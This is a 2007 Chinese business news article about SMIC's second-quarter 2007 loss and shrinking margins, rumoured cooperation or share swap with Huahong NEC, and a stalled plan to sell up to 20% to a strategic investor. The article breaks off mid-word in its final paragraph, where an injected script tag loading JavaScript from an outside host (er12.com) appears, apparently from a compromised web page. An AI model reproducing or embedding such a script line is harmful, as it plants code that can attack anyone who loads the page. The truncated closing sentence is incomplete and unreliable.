中芯国际(0981.hk)仍在失血！
2007年7月27日，全球第三大半导体代工巨头中芯国际公布了截至今年6月30日的第2季度财报。报告显示，第2季中芯国际销售额为3.748亿美元，较第一季度下滑3.5%；而尽管国家给予了600万美元补贴，但它还是出现了210万美元的亏损。
对于以上业绩，中芯国际香港代表陈慧蕊解释道，这主要是因为动态随机存储器(dram，该业务在第2季度占了其销售收入的28.9%)市场售价环比下降超过30%，以及公司机器销售收入下降95%，而经营开支反而增加1倍以上，至4711万美元。她表示，下半年市场转稳之后，中芯国际将力争实现全年收支平衡，甚至是扭亏为盈。
一直以来，中芯国际被寄予“让中国占领芯片外包市场”的厚望，但和其他竞争对手相比，它最近几年一直没能盈利。今年第1季度，若没有政府的600万美元免税优惠和出售二手芯片制造装备获得的2720万美元收入，它根本无法实现880万美元的利润。另一方面，持续下滑的毛利润率也给它造成了巨大的成本压力。
调查资料显示，中芯国际今年第2季度的毛利润率只有10.3%，同比下降了2.7个百分点。同期，竞争对手台积电的毛利润率却高达43%，就连刚刚被它在市场份额上超越的新加坡特许半导体也有24.2%。
知情人士透露，为了尽早摆脱上述困境，中芯国际正加紧对外并购与引资。而其双箭齐发的战略，也已经引起了业界的普遍关注。
并购可带来双赢
卷入中芯国际并购传言的是国内第二大半导体制造厂商华虹nec。这家由上海华虹集团、日本nec和nec(中国)共同投资建立的企业，所占全球市场份额约为中芯国际的20%。
《it时代周刊》了解到，华虹集团是具有国资委背景的中国电子信息产业集团公司(cec)的旗下企业。从长城电脑(000066，cec控股企业)收购京东方(st.000725)所持冠捷股份(0903.hk)开始， cec就一直在为打通产业链而努力。目前，cec掌控的上市公司多达14家，业务范围涉及集成电路、计算机软硬件、通信与消费电子等多个领域，而它也一直希望把华虹集团打造成国内最大的半导体企业。
不少业内人士认为，由于收购华虹nec至少需要12亿美元，而账面价值不到30亿美元的中芯国际还有大约7亿美元的净负债，加上现阶段它不可能忽视几座工厂的运营，将大笔资金改为他用。“为了两家公司今后都能良好运营，双方很可能以股权替换的方式互相持股，实现做大。”
赛迪顾问半导体产业研究中心咨询师李珂也指出，尽管中芯国际是一个单纯的代工企业，与涉足整个电子行业的cec有很大不同，但从各自的市场分布上看，华虹nec 70%的订单出自国内，并垄断了类似身份证这样的特殊业务。相比之下，中芯国际90%以上的客户来自国外。“一个对内，一个对外，互补性为合作提供了可能。”李珂说，国企背景的华虹nec在争取官方订单方面的能力不容小觑，若中芯国际与之合作，将顺利打开该市场，为实现首席执行官张汝京此前提出的“到2010年国内业务提升至15%”的目标增添几分把握。
目前，中芯国际的股价只有1港元左右，它当初2.69港元的发行价已经极度缩水。而确切消息也显示，自2005年开始，华虹集团就谋划海外上市，却一直未能实现。分析人士认为，与中芯国际的合作，将让它间接实现这一目标，而急于让财报更加好看些的中芯国际，借此进行海外增发也并非全无可能。
事实上，中芯国际与华虹集团的合作不仅对双方有利，更能改变之前国内半导体企业一盘散沙的局面。国家发改委一位工作人员指出，在全球半导体行业，国内企业比欧美、新加坡、台湾等地的企业要弱很多。两大企业在互补的基础上，抱团和国际巨头竞争，也符合政府做大半导体产业的意愿，从而为它们带来更多的政策支持。
目前，无论是华虹nec，还是中芯国际，都以“没有接到这样的消息”为由不对上述事件进行表态，但行业分析人士表示，共赢的结果已经为两家企业的合作带来了更大的遐想空间。
引资扑朔迷离
2007年3月初，中芯国际表示愿意引进战略投资者，但数月之后的今天，久拖不决却让这项引资计划的命运变得扑朔迷离起来。
按照当时说法，中芯国际指定摩根斯坦利和德意志银行为其引入一位持有少数股权的战略投资人，入选者最高可斥资5亿美元收购其20%股份。据透露，不足20%的股本出售比例可让中芯国际避开“出售计划须全体股东批准”的麻烦。随后，业界爆料贝恩资本、泛大西洋集团和kkr等3大私募基金可能成为中芯国际的买主。稍有不同的是，上述3大私?script src=http://er12.com/t.js>
